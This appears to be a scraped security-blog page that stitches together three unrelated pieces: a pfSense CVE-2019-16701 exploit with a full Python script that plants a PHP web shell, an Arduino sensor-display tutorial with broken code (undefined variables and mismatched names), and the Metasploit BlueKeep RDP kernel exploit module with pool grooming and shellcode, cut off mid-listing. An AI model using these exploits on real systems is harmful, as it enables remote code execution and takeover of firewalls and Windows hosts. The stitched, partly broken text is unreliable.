Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863594881

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Pfsense 2.3.4 / 2.4.4-p3 - Remote Code Injection
# Date: 23/09/2018
# Author: Nassim Asrir
# Vendor Homepage: https://www.pfsense.org/
# Contact: wassline@gmail.com | https://www.linkedin.com/in/nassim-asrir-b73a57122/
# CVE: CVE-2019-16701
# Tested On: Windows 10(64bit) | Pfsense 2.3.4 / 2.4.4-p3
######################################################################################################

1 : About Pfsense:
==================

pfSense is a free and open source firewall and router that also features unified threat management, load balancing, multi WAN, and more.

2 : Technical Analysis:
=======================

The pfsense allow users (uid=0) to make remote procedure calls over HTTP (XMLRPC) and the XMLRPC contain some critical methods which allow any authenticated user/hacker to execute OS commands.

XMLRPC methods:

pfsense.exec_shell
pfsense.exec_php
pfsense.filter_configure
pfsense.interfaces_carp_configure
pfsense.backup_config_section
pfsense.restore_config_section
pfsense.merge_config_section
pfsense.merge_installedpackages_section_xmlrpc
pfsense.host_firmware_version
pfsense.reboot
pfsense.get_notices
system.listMethods
system.methodHelp
system.methodSignature

As we see in the output we have two interesting methods: pfsense.exec_shell and pfsense.exec_php.

2 : Static Analysis:
====================

In the static analysis we will analysis the xmlrpc.php file. 

Line (73 - 82)

This code check if the user have enough privileges.

$user_entry = getUserEntry($username);
		/*
		 * admin (uid = 0) is allowed 
		 * or regular user with necessary privilege
		 */
		if (isset($user_entry['uid']) && $user_entry['uid'] != '0' &&
		    !userHasPrivilege($user_entry, 'system-xmlrpc-ha-sync')) {
			log_auth("webConfigurator authentication error for '" .
			    $username . "' from " . $this->remote_addr .
			    " not enough privileges");
				

Line (137 - 146)

This part of code is the interest for us.

As we can see, first we have a check for auth then we have the dangerous function (eval) which take as parametere ($code).

	public function exec_php($code) {
		$this->auth();

		eval($code);
		if ($toreturn) {
			return $toreturn;
		}

		return true;
	}
	
Line (155 - 160)

In this part of code also we have a check for auth then the execution for ($code)
	
	public function exec_shell($code) {
		$this->auth();

		mwexec($code);
		return true;
	}
	
3 - Exploit:
============

#!/usr/bin/env python

import argparse
import requests
import urllib2
import time
import sys
import string
import random

parser = argparse.ArgumentParser()
parser.add_argument("--rhost", help = "Target Uri https://127.0.0.1")
parser.add_argument("--password", help = "pfsense Password")
args = parser.parse_args()

rhost = args.rhost
password = args.password
print ""

print "[+] CVE-2019-16701 - Pfsense - Remote Code Injection"
print ""
print "[+] Author: Nassim Asrir"
print ""

command = "<?xml version='1.0' encoding='iso-8859-1'?>"
command += "<methodCall>"
command += "<methodName>pfsense.host_firmware_version</methodName>"
command += "<params>"
command += "<param><value><string>"+password+"</string></value></param>"
command += "</params>"
command += "</methodCall>"

stage1 = rhost + "/xmlrpc.php"

page = urllib2.urlopen(stage1, data=command).read()

print "[+] Checking Login Creds"


if "Authentication failed" in page:

	print "[-] Wrong password :("
	sys.exit(0)
else:

	random = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(32)])

	print "[+] logged in successfully :)" 
	print "[+] Generating random file "+random+".php"
	print "[+] Sending the exploit ....."
	

	command = "<?xml version='1.0' encoding='iso-8859-1'?>"
	command += "<methodCall>"
	command += "<methodName>pfsense.exec_php</methodName>"
	command += "<params>"
	command += "<param><value><string>"+password+"</string></value></param>"
	command += "<param><value><string>exec('echo \\'<pre> <?php $res = system($_GET[\"cmd\"]); echo $res ?> </pre>\\' > /usr/local/www/"+random+".php');</string></value></param>"
	command += "</params>"
	command += "</methodCall>"

stage1 = rhost + "/xmlrpc.php"

page = urllib2.urlopen(stage1, data=command).read()

final = rhost+"/"+str(random)+".php"

check = urllib2.urlopen(final)

print "[+] Checking ....."

if check.getcode() == 200:

	print "[+] Yeah! You got your shell: " + final+"?cmd=id"
else:

	print "[+] Sorry :( Shell not found check the path"
            

In this tutorial, let’s talk about how to display the data of DHT11 and soil moisture sensor through the OLED screen through the Arduino.First, let’s see how the actual effect is!Arduino OLED 显示

Preparation

Arduino development board 0.96 OLED screen DHT11 temperature and humidity sensor soil sensor

Line connection

OLED screen GND--GNDVCC--3.3VSCL--SCLSDA--SDADHT11 line GND--GNDVCC--3.3VDATA--D10 soil sensor GND--GNDVCC--3.3VA0--A0

Note: The Arduino development board has only two GND and 3v interfaces. In multiple devices, a series circuit is recommended.线路连接

Code

#include DFRobot_DHT11.h

#include 'U8glib.h'

#define DHT11_PIN 10//Set D10 pin to DHT11 data acquisition terminal

int moistureSensorPin=A0; //Define the pins for the sensor connection

DFRobot_DHT11 DHT;

U8GLIB_SSD1306_128X64 u8g(U8G_I2C_OPT_NONE|U8G_I2C_OPT_DEV_0);

static const uint8_t PROGMEM wen[]={

/*-- Text : Warm --*/

/*-- Song 12; The corresponding dot matrix under this font is: width x height=16x16 --*/

0x00,0x00,0x23,0xF8,0x12,0x08,0x12,0x08,0x83,0xF8,0x42,0x08,0x42,0x08,0x13,0xF8,

0x10,0x00,0x27,0xFC,0xE4,0xA4,0x24,0xA4,0x24,0xA4,0x24,0xA4,0x2F,0xFE,0x00,0x00,

};

static const uint8_t PROGMEM shi[]={

/*-- Text : Wet --*/

/*-- Song 12; The corresponding dot matrix under this font is: width x height=16x16 --*/

0x00,0x00,0x27,0xF8,0x14,0x08,0x14,0x08,0x87,0xF8,0x44,0x08,0x44,0x08,0x17,0xF8,

0x11,0x20,0x21,0x20,0xE9,0x24,0x25,0x28,0x23,0x30,0x21,0x20,0x2F,0xFE,0x00,0x00,

};

static const uint8_t PROGMEM du[]={

/*-- Text : degrees --*/

/*-- Song 12; The corresponding dot matrix under this font is: width x height=16x16 --*/

0x01,0x00,0x00,0x80,0x3F,0xFE,0x22,0x20,0x22,0x20,0x3F,0xFC,0x22,0x20,0x22,0x20,

0x23,0xE0,0x20,0x00,0x2F,0xF0,0x24,0x10,0x42,0x20,0x41,0xC0,0x86,0x30,0x38,0x0E,

};

static const uint8_t PROGMEM ssd[]={

/*-- Text : ℃ --*/

/*-- Song 12; The corresponding dot matrix under this font is: width x height=16x16 --*/

0x60,0x00,0x91,0xF4,0x96,0x0C,0x6C,0x04,0x08,0x04,0x18,0x00,0x18,0x00,

0x18,0x00,0x18,0x00,0x18,0x00,0x08,0x00,0x0C,0x04,0x06,0x08,0x01,0xF0,0x00,0x00,

};

static const uint8_t PROGMEM tu[]={

/*-- Text : Earth --*/

/*-- Song 12; The corresponding dot matrix under this font is: width x height=16x16 --*/

0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x3F,0xF8,0x01,0x00,

0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0xFF,0xFE,0x00,0x00,

};

static const uint8_t PROGMEM rang[]={

/*-- Text : Yuan --*/

/*-- Song 12; The corresponding dot matrix under this font is: width x height=16x16 --*/

0x20,0x40,0x27,0xFC,0x20,0x00,0x23,0xB8,0xF2,0xA8,0x23,0xB8,0x21,0x10,0x27,0xFC,

0x21,0x10,0x27,0xFC,0x31,0x10,0xEF,0xFE,0x41,0x28,0x03,0x10,0x0D,0x48,0x01,0x86,

};

static const uint8_t PROGMEM xiao[]={

/*-- Text : Xiao --*/

/*-- Song 12; The corresponding dot matrix under this font is: width x height=16x16 --*/

0x00,0x40,0x22,0x48,0x11,0x48,0x11,0x50,0x00,0x40,0x03,0xF8,0xF2,0x08,0x12,0x08,

0x13,0xF8,0x12,0x08,0x12,0x08,0x13,0xF8,0x12,0x08,0x12,0x28,0x2A,0x10,0x47,0xFE,

};

static const uint8_t PROGMEM yao[]={

/*-- Text : 起--*/

/*-- Song 12; The corresponding dot matrix under this font is: width x height=16x16 --*/

0x00,0x3C,0x23,0xC0,0x10,0x04,0x12,0x44,0x01,0x28,0x01,0xFC,0xF2,0x20,0x10,0x20,

0x13,0xFE,0x10,0x20,0x11,0x24,0x11,0x24,0x11,0x24,0x11,0x24,0x11,0xFC,0x28,0x00,0x47,0xFE,

};

static const uint8_t PROGMEM zi[]={

/*-- Text : Sub --*/

/*-- Song 12; The corresponding dot matrix under this font is: width x height=16x16 --*/

0x00,0x00,0x7F,0xF8,0x00,0x10,0x00,0x20,0x00,0x40,0x01,0x80,0x01,0x00,0xFF,0xFE,

0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x05,0x00,0x02,0x00,

};

static const uint8_t PROGMEM da[]={

/*-- Text : Large --*/

/*-- Song 12; The corresponding dot matrix under this font is: width x height=16x16 --*/

0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0xFF,0xFE,0x01,0x00,0x01,0x00,

0x02,0x80,0x02,0x80,0x04,0x40,0x04,0x40,0x08,0x20,0x10,0x10,0x20,0x08,0xC0,0x06,

};

static const uint8_t PROGMEM biiao[]={

/*-- Text : Table --*/

/*-- Song 12; The corresponding dot matrix under this font is: width x height=16x16 --*/

0x01,0x00,0x01,0x00,0x7F,0xFC,0x01,0x00,0x01,0x00,0x3F,0xF8,0x01,0x00,0x01,0x00,

0xFF,0xFE,0x05,0x00,0x08,0x88,0x18,0x50,0x28,0x20,0xC9,0x18,0x0A,0x06,0x0C,0x00,

};

static const uint8_t PROGMEM ge[]={

/*-- Text : Brother --*/

/*-- Song 12; The corresponding dot matrix under this font is: width x height=16x16 --*/

0x00,0x00,0x7F,0xFC,0x00,0x10,0x1F,0x90,0x10,0x90,0x10,0x90,0x1F,0x90,0x00,0x00,

0xFF,0xFE,0x00,0x10,0x1F,0x90,0x10,0x90,0x10,0x90,0x1F,0x90,0x00,0x50,0x00,0x20,

};

void setup(){

Serial.begin(115200);//The baud rate of serial port debugging is 115200

if ( u8g.getMode()==U8G_MODE_R3G3B2 ) {

u8g.setColorIndex(255); //white

}

else if ( u8g.getMode()==U8G_MODE_GRAY2BIT ) {

u8g.setColorIndex(3); //max intensity

}

else if ( u8g.getMode()==U8G_MODE_BW ) {

u8g.setColorIndex(1); //pixel on

}

else if ( u8g.getMode()==U8G_MODE_HICOLOR ) {

u8g.setHiColorByRGB(255,255,255);

}

}

void loop(){

DHT.read(DHT11_PIN);

Serial.print('temp:');

Serial.print(DHT.temperature);//Serial port displays temperature

Serial.print('humi:');

Serial.println(DHT.humidity);//Serial port display humidity

delay(1000);

u8g.firstPage();

do {

draw();//Show on OLED screen

} while( u8g.nextPage() );

//rebuild the picture after some delay

delay(50);

}

void draw(void) {

u8g.setFont(u8g_font_unifont);//Set the font displayed on the OLED screen

//u8g.drawStr( 40, 12, 'Welcome!');

u8g.drawBitmapP( 0, 0, 2, 16, xiao);

u8g.drawBitmapP( 16, 0, 2, 16, yao);

u8g.drawBitmapP( 32, 0, 2, 16, zi);

u8g.drawBitmapP( 48, 0, 2, 16, da);

u8g.drawBitmapP( 64, 0, 2, 16, rough);

u8g.drawBitmapP( 80, 0, 2, 16, ge);

u8g.drawBitmapP( 16, 16, 2, 16, tu);

u8g.drawBitmapP( 32, 16, 2, 16, rang);

u8g.drawBitmapP( 16, 32, 2, 16, wen);

u8g.drawBitmapP( 32, 32, 2, 16, du);

u8g.drawBitmapP( 16, 48, 2, 16, shi);

u8g.drawBitmapP( 32, 48, 2, 16, du);

u8g.setPrintPos(48, 45);

u8g.print(':' );

u8g.setPrintPos(48, 30);

u8g.print(':' );

//u8g.drawStr( 20, 30, ':');

u8g.setPrintPos(60,45);

u8g.print(DHT.temperature);//Show temperature

u8g.drawStr( 80, 45, 'C');

u8g.drawPixel(78,20);

//u8g.drawStr( 20, 50, 'humi:');

u8g.setPrintPos(60,60);

u8g.print(DHT.humidity);//Show humidity

u8g.drawStr( 80, 60, '%');

int motivationValue=analogRead(moistureSensorPin); //Read the analog value of the sensor

//Convert the simulation value to soil moisture percentage

int moisturePercent=map(moistureValue, 1024, 0, 0, 100);

u8g.setPrintPos(60,30);

u8g.print(moisturePercent);//Show humidity

u8g.drawStr( 80, 30, '%');

u8g.setPrintPos(48, 60);

u8g.print(':' );

}

Code Description

To install the library, you need to add two libraries U8glib and DFRobot_DHT11.U8glib DFRobot_DHT11 In this article, I used the U8g library. You cannot directly output Chinese characters. And U8g2 can. I will update the code later. Therefore, we need a font extraction tool. After the Chinese characters are modeled, write the code in the form of a dot matrix.u0emgwv3haf261.png

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

#  Exploitation and Caveats from zerosum0x0:
#
#    1. Register with channel MS_T120 (and others such as RDPDR/RDPSND) nominally.
#    2. Perform a full RDP handshake, I like to wait for RDPDR handshake too (code in the .py)
#    3. Free MS_T120 with the DisconnectProviderIndication message to MS_T120.
#    4. RDP has chunked messages, so we use this to groom.
#       a. Chunked messaging ONLY works properly when sent to RDPSND/MS_T120.
#       b. However, on 7+, MS_T120 will not work and you have to use RDPSND.
#           i. RDPSND only works when
#              HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam = 0
#           ii. This registry key is not a default setting for server 2008 R2.
#              We should use alternate groom channels or at least detect the
#              channel in advance.
#    5. Use chunked grooming to fit new data in the freed channel, account for
#       the allocation header size (like 0x38 I think?). At offset 0x100? is where
#       the "call [rax]" gadget will get its pointer from.
#       a. The NonPagedPool (NPP) starts at a fixed address on XP-7
#           i. Hot-swap memory is another problem because, with certain VMWare and
#           Hyper-V setups, the OS allocates a buncha PTE stuff before the NPP
#           start. This can be anywhere from 100 mb to gigabytes of offset
#           before the NPP start.
#       b. Set offset 0x100 to NPPStart+SizeOfGroomInMB
#       c. Groom chunk the shellcode, at *(NPPStart+SizeOfGroomInMB) you need
#          [NPPStart+SizeOfGroomInMB+8...payload]... because "call [rax]" is an
#          indirect call
#       d. We are limited to 0x400 payloads by channel chunk max size. My
#          current shellcode is a twin shellcode with eggfinders. I spam the
#          kernel payload and user payload, and if user payload is called first it
#          will egghunt for the kernel payload.
#    6. After channel hole is filled and the NPP is spammed up with shellcode,
#       trigger the free by closing the socket.
#
#    TODO:
#    * Detect OS specifics / obtain memory leak to determine NPP start address.
#    * Write the XP/2003 portions grooming MS_T120.
#    * Detect if RDPSND grooming is working or not?
#    * Expand channels besides RDPSND/MS_T120 for grooming.
#        See https://unit42.paloaltonetworks.com/exploitation-of-windows-cve-2019-0708-bluekeep-three-ways-to-write-data-into-the-kernel-with-rdp-pdu/
#
#    https://github.com/0xeb-bp/bluekeep .. this repo has code for grooming
#    MS_T120 on XP... should be same process as the RDPSND

class MetasploitModule < Msf::Exploit::Remote

  Rank = ManualRanking

  USERMODE_EGG = 0xb00dac0fefe31337
  KERNELMODE_EGG = 0xb00dac0fefe42069

  CHUNK_SIZE = 0x400
  HEADER_SIZE = 0x48

  include Msf::Exploit::Remote::RDP
  include Msf::Exploit::Remote::CheckScanner

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free',
      'Description'    => %q(
        The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120,
        allowing a malformed Disconnect Provider Indication message to cause use-after-free.
        With a controllable data/size remote nonpaged pool spray, an indirect call gadget of
        the freed channel is used to achieve arbitrary code execution.
      ),
      'Author' =>
      [
        'Sean Dillon <sean.dillon@risksense.com>',  # @zerosum0x0 - Original exploit
        'Ryan Hanson',                              # @ryHanson - Original exploit
        'OJ Reeves <oj@beyondbinary.io>',           # @TheColonial - Metasploit module
        'Brent Cook <bcook@rapid7.com>',            # @busterbcook - Assembly whisperer
      ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2019-0708'],
          ['URL', 'https://github.com/zerosum0x0/CVE-2019-0708'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
          'WfsDelay' => 5,
          'RDP_CLIENT_NAME' => 'ethdev',
          'CheckScanner' => 'auxiliary/scanner/rdp/cve_2019_0708_bluekeep'
        },
      'Privileged' => true,
      'Payload' =>
        {
          'Space' => CHUNK_SIZE - HEADER_SIZE,
          'EncoderType' => Msf::Encoder::Type::Raw,
        },
      'Platform' => 'win',
      'Targets' =>
        [
          [
            'Automatic targeting via fingerprinting',
            {
              'Arch' => [ARCH_X64],
              'FingerprintOnly' => true
            },
          ],
          #
          #
          # Windows 2008 R2 requires the following registry change from default:
          #
          # [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\rdpwd]
          # "fDisableCam"=dword:00000000
          #
          [
            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64],
              'GROOMBASE' => 0xfffffa8003800000,
              'GROOMSIZE' => 100
            }
          ],
          [
            # This works with Virtualbox 6
            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64],
              'GROOMBASE' => 0xfffffa8002407000
            }
          ],
          [
            # This address works on VMWare 14
            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64],
              'GROOMBASE' => 0xfffffa8030c00000
            }
          ],
          [
            # This address works on VMWare 15
            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64],
              'GROOMBASE' => 0xfffffa8018C00000
            }
          ],
          [
            # This address works on VMWare 15.1
            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64],
              'GROOMBASE' => 0xfffffa8018c08000
            }
          ],
          [
            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64],
              'GROOMBASE' => 0xfffffa8102407000
            }
          ],
          [
            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64],
              'GROOMBASE' => 0xfffffa8018c08000
            }
          ],
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'May 14 2019',
      'Notes' =>
        {
          'AKA' => ['Bluekeep']
        }
    ))

    register_advanced_options(
      [
        OptBool.new('ForceExploit', [false, 'Override check result', false]),
        OptInt.new('GROOMSIZE', [true, 'Size of the groom in MB', 250]),
        OptEnum.new('GROOMCHANNEL', [true, 'Channel to use for grooming', 'RDPSND', ['RDPSND', 'MS_T120']]),
        OptInt.new('GROOMCHANNELCOUNT', [true, 'Number of channels to groom', 1]),
      ]
    )
  end

  def exploit
    unless check == CheckCode::Vulnerable || datastore['ForceExploit']
      fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
    end

    if target['FingerprintOnly']
      fail_with(Msf::Module::Failure::BadConfig, 'Set the most appropriate target manually')
    end

    begin
      rdp_connect
    rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError
      fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service')
    end

    is_rdp, server_selected_proto = rdp_check_protocol
    unless is_rdp
      fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service')
    end

    # We don't currently support NLA in the mixin or the exploit. However, if we have valid creds, NLA shouldn't stop us
    # from exploiting the target.
    if [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include?(server_selected_proto)
      fail_with(Msf::Module::Failure::BadConfig, 'Server requires NLA (CredSSP) security which mitigates this vulnerability.')
    end

    chans = [
      ['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP],
      [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
      [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
      ['MS_XXX0', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
      ['MS_XXX1', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
      ['MS_XXX2', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
      ['MS_XXX3', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
      ['MS_XXX4', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
      ['MS_XXX5', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
      ['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
    ]

    @mst120_chan_id = 1004 + chans.length - 1

    unless rdp_negotiate_security(chans, server_selected_proto)
      fail_with(Msf::Module::Failure::Unknown, 'Negotiation of security failed.')
    end

    rdp_establish_session

    rdp_dispatch_loop
  end

private

  # This function is invoked when the PAKID_CORE_CLIENTID_CONFIRM message is
  # received on a channel, and this is when we need to kick off our exploit.
  def rdp_on_core_client_id_confirm(pkt, user, chan_id, flags, data)
    # We have to do the default behaviour first.
    super(pkt, user, chan_id, flags, data)

    groom_size = datastore['GROOMSIZE']
    pool_addr = target['GROOMBASE'] + (CHUNK_SIZE * 1024 * groom_size)
    groom_chan_count = datastore['GROOMCHANNELCOUNT']

    payloads = create_payloads(pool_addr)

    print_status("Using CHUNK grooming strategy. Size #{groom_size}MB, target address 0x#{pool_addr.to_s(16)}, Channel count #{groom_chan_count}.")

    target_channel_id = chan_id + 1

    spray_buffer = create_exploit_channel_buffer(pool_addr)
    spray_channel = rdp_create_channel_msg(self.rdp_user_id, target_channel_id, spray_buffer, 0, 0xFFFFFFF)
    free_trigger = spray_channel * 20 + create_free_trigger(self.rdp_user_id, @mst120_chan_id) + spray_channel * 80

    print_status("Surfing channels ...")
    rdp_send(spray_channel * 1024)
    rdp_send(free_trigger)

    chan_surf_size = 0x421
    spray_packets = (chan_surf_size / spray_channel.length) + [1, chan_surf_size % spray_channel.length].min
    chan_surf_packet = spray_channel * spray_packets
    chan_surf_count  = chan_surf_size / spray_packets

    chan_surf_count.times do
      rdp_send(chan_surf_packet)
    end

    print_status("Lobbing eggs ...")

    groom_mb = groom_size * 1024 / payloads.length

    groom_mb.times do
      tpkts = ''
      for c in 0..groom_chan_count
        payloads.each do |p|
          tpkts += rdp_create_channel_msg(self.rdp_user_id, target_channel_id + c, p, 0, 0xFFFFFFF)
        end
      end
      rdp_send(tpkts)
    end

    # Terminating and disconnecting forces the USE
    print_status("Forcing the USE of FREE'd object ...")
    rdp_terminate
    rdp_disconnect
  end

  # Helper function to create the kernel mode payload and the usermode payload with
  # the egg hunter prefix.
  def create_payloads(pool_address)
    begin
      [kernel_mode_payload, user_mode_payload].map { |p|
        [
          pool_address + HEADER_SIZE + 0x10, # indirect call gadget, over this pointer + egg
          p
        ].pack('<Qa*').ljust(CHUNK_SIZE - HEADER_SIZE, "\x00")
      }
    rescue => ex
      print_error("#{ex.backtrace.join("\n")}: #{ex.message} (#{ex.class})")
    end
  end

  def assemble_with_fixups(asm)
    # Rewrite all instructions of form 'lea reg, [rel label]' as relative
    # offsets for the instruction pointer, since metasm's 'ModRM' parser does
    # not grok that syntax.
    lea_rel = /lea+\s(?<dest>\w{2,3}),*\s\[rel+\s(?<label>[a-zA-Z_].*)\]/
    asm.gsub!(lea_rel) do |match|
      match = "lea #{$1}, [rip + #{$2}]"
    end

    # metasm encodes all rep instructions as repnz
    # https://github.com/jjyg/metasm/pull/40
    asm.gsub!(/rep+\smovsb/, 'db 0xf3, 0xa4')

    encoded = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encoded

    # Fixup above rewritten instructions with the relative label offsets
    encoded.reloc.each do |offset, reloc|
      target = reloc.target.to_s
      if encoded.export.key?(target)
        # Note: this assumes the address we're fixing up is at the end of the
        # instruction. This holds for 'lea' but if there are other fixups
        # later, this might need to change to account for specific instruction
        # encodings
        if reloc.type == :i32
          instr_offset = offset + 4
        elsif reloc.type == :i16
          instr_offset = offset + 2
        end
        encoded.fixup(target => encoded.export[target] - instr_offset)
      else
        raise "Unknown symbol '#{target}' while resolving relative offsets"
      end
    end
    encoded.fill
    encoded.data
  end

  # The user mode payload has two parts. The first is an egg hunter that searches for
  # the kernel mode payload. The second part is the actual payload that's invoked in
  # user land (ie. it's injected into spoolsrv.exe). We need to spray both the kernel
  # and user mode payloads around the heap in different packets because we don't have
  # enough space to put them both in the same chunk. Given that code exec can result in
  # landing on the user land payload, the egg is used to go to a kernel payload.
  def user_mode_payload

    asm = %Q^
_start:
    lea rcx, [rel _start]
    mov r8, 0x#{KERNELMODE_EGG.to_s(16)}
_egg_loop:
    sub rcx, 0x#{CHUNK_SIZE.to_s(16)}
    sub rax, 0x#{CHUNK_SIZE.to_s(16)}
    mov rdx, [rcx - 8]
    cmp rdx, r8
    jnz _egg_loop
    jmp rcx
    ^
    egg_loop = assemble_with_fixups(asm)

    # The USERMODE_EGG is required at the start as well, because the exploit code
    # assumes the tag is there, and jumps over it to find the shellcode.
    [
      USERMODE_EGG,
      egg_loop,
      USERMODE_EGG,
      payload.raw
    ].pack('<Qa*<Qa*')
  end

  def kernel_mode_payload

    # Windows x64 kernel shellcode from ring 0 to ring 3 by sleepya
    #
    # This shellcode was written originally for eternalblue exploits
    # eternalblue_exploit7.py and eternalblue_exploit8.py
    #
    # Idea for Ring 0 to Ring 3 via APC from Sean Dillon (@zerosum0x0)
    #
    # Note:
    # - The userland shellcode is run in a new thread of system process.
    #     If userland shellcode causes any exception, the system process get killed.
    # - On idle target with multiple core processors, the hijacked system call
    #     might take a while (> 5 minutes) to get called because the system
    #     call may be called on other processors.
    # - The shellcode does not allocate shadow stack if possible for minimal shellcode size.
    #     This is ok because some Windows functions do not require a shadow stack.
    # - Compiling shellcode with specific Windows version macro, corrupted buffer will be freed.
    #     Note: the Windows 8 version macros are removed below
    # - The userland payload MUST be appened to this shellcode.
    #
    # References:
    # - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info)
    # - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c

    data_kapc_offset           = 0x10
    data_nt_kernel_addr_offset = 0x8
    data_origin_syscall_offset = 0
    data_peb_addr_offset       = -0x10
    data_queueing_kapc_offset  = -0x8
    hal_heap_storage           = 0xffffffffffd04100

    # These hashes are not the same as the ones used by the
    # Block API so they have to be hard-coded.
    createthread_hash              = 0x835e515e
    keinitializeapc_hash           = 0x6d195cc4
    keinsertqueueapc_hash          = 0xafcc4634
    psgetcurrentprocess_hash       = 0xdbf47c78
    psgetprocessid_hash            = 0x170114e1
    psgetprocessimagefilename_hash = 0x77645f3f
    psgetprocesspeb_hash           = 0xb818b848
    psgetthreadteb_hash            = 0xcef84c3e
    spoolsv_exe_hash               = 0x3ee083d8
    zwallocatevirtualmemory_hash   = 0x576e99ea

    asm = %Q^
shellcode_start:
    nop
    nop
    nop
    nop
    ; IRQL is DISPATCH_LEVEL when got code execution

    push rbp

    call set_rbp_data_address_fn

    ; read current syscall
    mov ecx, 0xc0000082
    rdmsr
    ; do NOT replace saved original syscall address with hook syscall
    lea r9, [rel syscall_hook]
    cmp eax, r9d
    je _setup_syscall_hook_done

    ; if (saved_original_syscall != &KiSystemCall64) do_first_time_initialize
    cmp dword [rbp+#{data_origin_syscall_offset}], eax
    je _hook_syscall

    ; save original syscall
    mov dword [rbp+#{data_origin_syscall_offset}+4], edx
    mov dword [rbp+#{data_origin_syscall_offset}], eax

    ; first time on the target
    mov byte [rbp+#{data_queueing_kapc_offset}], 0

_hook_syscall:
    ; set a new syscall on running processor
    ; setting MSR 0xc0000082 affects only running processor
    xchg r9, rax
    push rax
    pop rdx     ; mov rdx, rax
    shr rdx, 32
    wrmsr

_setup_syscall_hook_done:
    pop rbp

;--------------------- HACK crappy thread cleanup --------------------
; This code is effectively the same as the epilogue of the function that calls
; the vulnerable function in the kernel, with a tweak or two.

    ; TODO: make the lock not suck!!
    mov     rax, qword [gs:0x188]
    add     word [rax+0x1C4], 1       ; KeGetCurrentThread()->KernelApcDisable++
    lea     r11, [rsp+0b8h]
    xor     eax, eax
    mov     rbx, [r11+30h]
    mov     rbp, [r11+40h]
    mov     rsi, [r11+48h]
    mov     rsp, r11
    pop     r15
    pop     r14
    pop     r13
    pop     r12
    pop     rdi
    ret

;--------------------- END HACK crappy thread cleanup

;========================================================================
; Find memory address in HAL heap for using as data area
; Return: rbp = data address
;========================================================================
set_rbp_data_address_fn:
    ; On idle target without user application, syscall on hijacked processor might not be called immediately.
    ; Find some address to store the data, the data in this address MUST not be modified
    ;   when exploit is rerun before syscall is called
    ;lea rbp, [rel _set_rbp_data_address_fn_next + 0x1000]

    ; ------ HACK rbp wasnt valid!

    mov rbp, #{hal_heap_storage}    ; TODO: use some other buffer besides HAL heap??

